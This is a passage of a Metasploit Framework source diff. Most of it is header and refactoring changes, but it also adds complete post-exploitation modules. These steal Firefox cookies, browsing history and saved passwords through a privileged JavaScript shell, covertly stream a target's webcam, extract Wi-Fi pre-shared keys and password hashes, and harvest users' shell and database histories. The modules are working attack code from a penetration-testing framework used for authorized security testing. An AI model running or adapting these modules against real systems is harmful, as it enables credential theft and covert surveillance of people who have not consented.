'Description' => 'Run a meterpreter server in Python', - 'Author' => ['Spencer McIntyre'], + 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)', + 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + register_advanced_options([ + OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ]) + ], self.class) end def generate_stage - file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") - met = File.open(file, "rb") {|f| + met = ::File.open(file, "rb") {|f| f.read(f.stat.size) } + + if datastore['PythonMeterpreterDebug'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + met end end diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 819f551822..a14584d726 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 9924e2b125..0723c0e5d7 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb index 7dd8ea25f8..a96ae18956 100644 --- a/modules/payloads/stages/windows/patchupdllinject.rb +++ b/modules/payloads/stages/windows/patchupdllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index ffe0e37c5d..4fb6d06b91 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 3ba58badf5..70411fa234 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb index bdacc5f491..eae0067d3a 100644 --- a/modules/payloads/stages/windows/upexec.rb +++ b/modules/payloads/stages/windows/upexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb index deca1e26d7..efb9919940 100644 --- a/modules/payloads/stages/windows/vncinject.rb +++ b/modules/payloads/stages/windows/vncinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index fa5aa63801..935d2779c6 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,7 +34,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) + MeterpreterBinaries.path('metsrv','x64.dll') end end diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb index 5196291c87..7e325830ae 100644 --- a/modules/payloads/stages/windows/x64/shell.rb +++ b/modules/payloads/stages/windows/x64/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb index 91688e0794..8490da03e2 100644 --- a/modules/payloads/stages/windows/x64/vncinject.rb +++ b/modules/payloads/stages/windows/x64/vncinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index d2b0659116..dd9de9fc96 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,32 +27,43 @@ class Metasploit3 < Msf::Post def run if is_root? passwd_file = read_file("/etc/security/passwd") - jtr = parse_aix_passwd(passwd_file) - p = store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File") - vprint_status("Passwd saved in: #{p.to_s}") + + username = '' + hash = '' + + passwd_file.each_line do |line| + user_line = line.match(/(\w+):/) + if user_line + username = user_line[1] + end + + hash_line = line.match(/password = (\w+)/) + if hash_line + hash = hash_line[1] + end + + if hash.present? + print_good "#{username}:#{hash}" + credential_data = { + jtr_format: 'des', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash, + session_id: session_db_id, + username: username, + workspace_id: myworkspace_id + } + create_credential(credential_data) + username = '' + hash = '' + end + end + else print_error("You must run this module as root!") end end - - def parse_aix_passwd(aix_file) - jtr_file = "" - tmp = "" - aix_file.each_line do |line| - username = line.match(/(\w+:)/) - if username - tmp = username[0] - end - hash = line.match(/password = (\w+)/) - if hash - tmp << hash[1] - jtr_file << "#{tmp}\n" - end - end - return jtr_file - end - - end diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 94d3938fc9..515c7b8595 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb new file mode 100644 index 0000000000..4fc5f6cc6e --- /dev/null +++ b/modules/post/firefox/gather/cookies.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Gather Cookies from Privileged Javascript Shell', + 'Description' => %q{ + This module allows collection of cookies from a Firefox Privileged Javascript Shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'DisclosureDate' => 'Mar 26 2014' + )) + + register_options([ + OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) + ], self.class) + end + + def run + results = js_exec(js_payload) + if results.present? + begin + cookies = JSON.parse(results) + cookies.each do |entry| + entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } + end + + file = store_loot("firefox.cookies.json", "text/json", rhost, results) + print_good("Saved #{cookies.length} cookies to #{file}") + rescue JSON::ParserError => e + print_warning(results) + end + end + end + + def js_payload + %Q| + (function(send){ + try { + var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa; + var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] + .getService(Components.interfaces.nsICookieManager); + var cookies = []; + var iter = cookieManager.enumerator; + while (iter.hasMoreElements()){ + var cookie = iter.getNext(); + if (cookie instanceof Components.interfaces.nsICookie){ + cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)}) + } + } + send(JSON.stringify(cookies)); + } catch (e) { + send(e); + } + })(this.send); + |.strip + end +end diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb new file mode 100644 index 0000000000..932105e952 --- /dev/null +++ b/modules/post/firefox/gather/history.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Gather History from Privileged Javascript Shell', + 'Description' => %q{ + This module allows collection of the entire browser history from a Firefox + Privileged Javascript Shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'DisclosureDate' => 'Apr 11 2014' + )) + + register_options([ + OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) + ], self.class) + end + + def run + results = js_exec(js_payload) + if results.present? + begin + history = JSON.parse(results) + history.each do |entry| + entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } + end + + file = store_loot("firefox.history.json", "text/json", rhost, history.to_json) + print_good("Saved #{history.length} history entries to #{file}") + rescue JSON::ParserError => e + print_warning(results) + end + end + end + + def js_payload + %Q| + (function(send){ + try { + var service = Components + .classes["@mozilla.org/browser/nav-history-service;1"] + .getService(Components.interfaces.nsINavHistoryService); + var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa; + + var query = service.getNewQuery(); + var options = service.getNewQueryOptions(); + var result = service.executeQuery(query, options); + var fields = []; + var entries = []; + + var root = result.root; + root.containerOpen = true; + + for (var i = 0; i < result.root.childCount; ++i) { + var child = result.root.getChild(i); + if (child.type == child.RESULT_TYPE_URI) { + entries.push({ + uri: b64(child.uri), + title: b64(child.title), + time: b64(child.time), + accessCount: b64(child.accessCount) + }); + } + } + + result.root.containerOpen = false; + + send(JSON.stringify(entries)); + } catch (e) { + send(e); + } + })(this.send); + |.strip + end +end diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb new file mode 100644 index 0000000000..0009613d36 --- /dev/null +++ b/modules/post/firefox/gather/passwords.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' +require 'msf/core/payload/firefox' + +class Metasploit3 < Msf::Post + + include Msf::Payload::Firefox + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Gather Passwords from Privileged Javascript Shell', + 'Description' => %q{ + This module allows collection of passwords from a Firefox Privileged Javascript Shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'DisclosureDate' => 'Apr 11 2014' + )) + + register_options([ + OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) + ], self.class) + end + + def run + results = js_exec(js_payload) + if results.present? + begin + passwords = JSON.parse(results) + passwords.each do |entry| + entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } + end + + if passwords.length > 0 + file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) + print_good("Saved #{passwords.length} passwords to #{file}") + else + print_warning("No passwords were found in Firefox.") + end + rescue JSON::ParserError => e + print_warning(results) + end + end + end + + def js_payload + %Q| + (function(send){ + try { + var manager = Components + .classes["@mozilla.org/login-manager;1"] + .getService(Components.interfaces.nsILoginManager); + var logins = manager.getAllLogins(); + var passwords = []; + var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa; + var fields = ['password', 'passwordField', 'username', 'usernameField', + 'httpRealm', 'formSubmitURL', 'hostname']; + + var sanitize = function(passwdObj) { + var sanitized = { }; + for (var i in fields) { + sanitized[fields[i]] = b64(passwdObj[fields[i]]); + } + return sanitized; + } + + // Find user from returned array of nsILoginInfo objects + for (var i = 0; i < logins.length; i++) { + passwords.push(sanitize(logins[i])); + } + + send(JSON.stringify(passwords)); + } catch (e) { + send(e); + } + })(this.send); + |.strip + end +end diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index 4d2e960e69..dbe1b8a48c 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,6 +10,7 @@ require 'msf/core/payload/firefox' class Metasploit3 < Msf::Post include Msf::Payload::Firefox + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info={}) super(update_info(info, @@ -36,9 +37,7 @@ class Metasploit3 < Msf::Post end def run - session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) - + results = js_exec(js_payload) if results.present? print_good results else @@ -79,7 +78,7 @@ class Metasploit3 < Msf::Post }; setTimeout(evt, 200); - })(send); + })(this.send); |.strip end diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb new file mode 100644 index 0000000000..5e568c8584 --- /dev/null +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Post::WebRTC + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell', + 'Description' => %q{ + This module allows streaming a webcam from a privileged Firefox Javascript shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'References' => [ + [ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ] + ], + 'DisclosureDate' => 'May 13 2014' + )) + + register_options([ + OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]), + OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]), + OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]), + OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80']) + ], self.class) + end + + def run + unless os_check + print_error "Windows versions of Firefox are not supported at this time [RM #8810]." + return + end + + server = datastore['ICESERVER'] + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + result = js_exec(js_payload(server, offerer_id, channel)) + + if datastore['CLOSE'] + print_status "Stream closed." + else + if result.present? + print_status result + connect_video_chat(server, channel, offerer_id) + else + print_warning "No response received" + end + end + end + + def os_check + user_agent = js_exec(%Q| + return Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + |) + user_agent !~ /windows/i + end + + def js_payload(server, offerer_id, channel) + interface = load_interface('offerer.html') + api = load_api_code + + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + if datastore['TIMEOUT'] > 0 + api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); " + end + + url = if datastore['CLOSE'] + '"about:blank"' + else + '"data:text/html;base64,"+html' + end + + name = if datastore['VISIBLE'] + Rex::Text.rand_text_alphanumeric(10) + else + '_self' + end + + %Q| + (function(send){ + try { + + var AppShellService = Components + .classes["@mozilla.org/appshell/appShellService;1"] + .getService(Components.interfaces.nsIAppShellService); + + var html = "#{Rex::Text.encode_base64(interface)}"; + var url = #{url}; + AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600'); + send("Streaming webcam..."); + + } catch (e) { + send(e); + } + })(this.send); + | + end + +end diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index e35ccbb7f5..c3085a1104 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index b62d23b4e6..21bbd3f3eb 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 0b03aef6aa..9d1c29a66b 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post configs.each do |f| output = read_file("#{f}") - save(f, output) if output !~ /No such file or directory/ + save(f, output) if output && output !~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 52d0ddfd74..32b8f923d0 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # minor additions, modifications & testing 'Stephen Haywood ', # enum_linux ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index f73d96d916..cc96a9acc6 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb new file mode 100644 index 0000000000..9edc2a7ada --- /dev/null +++ b/modules/post/linux/gather/enum_psk.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Linux Gather 802-11-Wireless-Security Credentials', + 'Description' => %q{ + This module collects 802-11-Wireless-Security credentials such as + Access-Point name and Pre-Shared-Key from your target CLIENT Linux + machine using /etc/NetworkManager/system-connections/ files. + The module gathers NetworkManager's plaintext "psk" information. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Cenk Kalpakoglu'], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) + + register_options( + [ + OptString.new('DIR', [true, 'The default path for network connections', + '/etc/NetworkManager/system-connections/'] + ) + ], self.class) + end + + def dir + datastore['DIR'] + end + + # Extracts AccessPoint name and PSK + def get_psk(data, ap_name) + data.each_line do |l| + if l =~ /^psk=/ + psk = l.split('=')[1].strip + return [ap_name, psk] + end + end + nil + end + + def extract_all_creds + tbl = Rex::Ui::Text::Table.new({ + 'Header' => '802-11-wireless-security', + 'Columns' => ['AccessPoint-Name', 'PSK'], + 'Indent' => 1, + }) + files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n") + files.each do |f| + file = "#{dir}#{f}" + # TODO: find better (ruby) way + if data = read_file(file) + print_status("Reading file #{file}") + ret = get_psk(data, f) + if ret + tbl << ret + end + end + end + tbl + end + + def run + if is_root? + tbl = extract_all_creds + if tbl.rows.empty? + print_status('No PSK has been found!') + else + print_line("\n" + tbl.to_s) + p = store_loot( + 'linux.psk.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename('wireless_credentials.txt') + ) + + print_good("Secrets stored in: #{p}") + + tbl.rows.each do |cred| + user = cred[0] # AP name + password = cred[1] + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + address: session.session_host, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password, + ) + end + print_status("Done") + end + else + print_error('You must run this module as root!') + end + end +end diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 9c2b676892..1afbd82e6f 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,8 +29,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # Combined separate mods, modifications and testing 'Roberto Espreto ', # log files and setuid/setgid ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index c49f88f58d..161d091090 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Linux::System - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Linux Gather User History', - 'Description' => %q{ - This module gathers user specific information. - User list, bash history, mysql history, vim history, - lastlog and sudoers. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - # based largely on get_bash_history function by Stephen Haywood - 'ohdae ' - ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) - + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Gather User History', + 'Description' => %q{ + This module gathers the following user-specific information: + shell history, MySQL history, PostgreSQL history, MongoDB history, + Vim history, lastlog, and sudoers. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + # based largely on get_bash_history function by Stephen Haywood + 'ohdae ' + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run distro = get_sysinfo - print_good("Info:") + print_good('Info:') print_good("\t#{distro[:version]}") print_good("\t#{distro[:kernel]}") - users = execute("/bin/cat /etc/passwd | cut -d : -f 1") - user = execute("/usr/bin/whoami") + user = execute('/usr/bin/whoami') + users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split + users = [user] if user != 'root' || users.blank? - mount = execute("/bin/mount -l") - get_bash_history(users, user) - get_sql_history(users, user) - get_vim_history(users, user) - last = execute("/usr/bin/last && /usr/bin/lastlog") - sudoers = cat_file("/etc/sudoers") + vprint_status("Retrieving history for #{users.length} users") + shells = %w{ash bash csh ksh sh tcsh zsh} + users.each do |u| + home = get_home_dir(u) + shells.each do |shell| + get_shell_history(u, home, shell) + end + get_mysql_history(u, home) + get_psql_history(u, home) + get_mongodb_history(u, home) + get_vim_history(u, home) + end - save("Last logs", last) - save("Sudoers", sudoers) unless sudoers =~ /Permission denied/ + last = execute('/usr/bin/last && /usr/bin/lastlog') + sudoers = cat_file('/etc/sudoers') + save('Last logs', last) unless last.blank? + save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/ end - def save(msg, data, ctype="text/plain") - ltype = "linux.enum.users" + def save(msg, data, ctype = 'text/plain') + ltype = 'linux.enum.users' loot = store_loot(ltype, ctype, session, data, nil, msg) print_status("#{msg} stored in #{loot.to_s}") end @@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post def get_host case session.type when /meterpreter/ - host = sysinfo["Computer"] + host = sysinfo['Computer'] when /shell/ - host = session.shell_command_token("hostname").chomp + host = session.shell_command_token('hostname').chomp end - print_status("Running module against #{host}") - - return host + host end def execute(cmd) vprint_status("Execute: #{cmd}") output = cmd_exec(cmd) - return output + output end def cat_file(filename) vprint_status("Download: #{filename}") output = read_file(filename) - return output + output end - def get_bash_history(users, user) - if user == "root" and users != nil - users = users.chomp.split() - users.each do |u| - if u == "root" - vprint_status("Extracting history for #{u}") - hist = cat_file("/root/.bash_history") - else - vprint_status("Extracting history for #{u}") - hist = cat_file("/home/#{u}/.bash_history") - end - - save("History for #{u}", hist) unless hist =~ /No such file or directory/ + def get_home_dir(user) + home = execute("echo ~#{user}") + if home.empty? + if user == 'root' + home = '/root' + else + home = "/home/#{user}" end - else - vprint_status("Extracting history for #{user}") - hist = cat_file("/home/#{user}/.bash_history") - vprint_status(hist) - save("History for #{user}", hist) unless hist =~ /No such file or directory/ end + home end - def get_sql_history(users, user) - if user == "root" and users != nil - users = users.chomp.split() - users.each do |u| - if u == "root" - vprint_status("Extracting SQL history for #{u}") - sql_hist = cat_file("/root/.mysql_history") - else - vprint_status("Extracting SQL history for #{u}") - sql_hist = cat_file("/home/#{u}/.mysql_history") - end - - save("History for #{u}", sql_hist) unless sql_hist =~ /No such file or directory/ - end - else - vprint_status("Extracting SQL history for #{user}") - sql_hist = cat_file("/home/#{user}/.mysql_history") - vprint_status(sql_hist) - save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/ - end + def get_shell_history(user, home, shell) + vprint_status("Extracting #{shell} history for #{user}") + hist = cat_file("#{home}/.#{shell}_history") + save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/ end - def get_vim_history(users, user) - if user == "root" and users != nil - users = users.chomp.split() - users.each do |u| - if u == "root" - vprint_status("Extracting VIM history for #{u}") - vim_hist = cat_file("/root/.viminfo") - else - vprint_status("Extracting VIM history for #{u}") - vim_hist = cat_file("/home/#{u}/.viminfo") - end - - save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/ - end - else - vprint_status("Extracting history for #{user}") - vim_hist = cat_file("/home/#{user}/.viminfo") - vprint_status(vim_hist) - save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/ - end + def get_mysql_history(user, home) + vprint_status("Extracting MySQL history for #{user}") + sql_hist = cat_file("#{home}/.mysql_history") + save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ end + + def get_psql_history(user, home) + vprint_status("Extracting PostgreSQL history for #{user}") + sql_hist = cat_file("#{home}/.psql_history") + save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ + end + + def get_mongodb_history(user, home) + vprint_status("Extracting MongoDB history for #{user}") + sql_hist = cat_file("#{home}/.dbshell") + save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ + end + + def get_vim_history(user, home) + vprint_status("Extracting Vim history for #{user}") + vim_hist = cat_file("#{home}/.viminfo") + save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/ + end + end diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index de2b02fd34..c6a722884d 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,11 +20,11 @@ class Metasploit3 < Msf::Post .log files. }, 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'linux' ], + 'Author' => ['sinn3r'], + 'Platform' => ['linux'], # linux 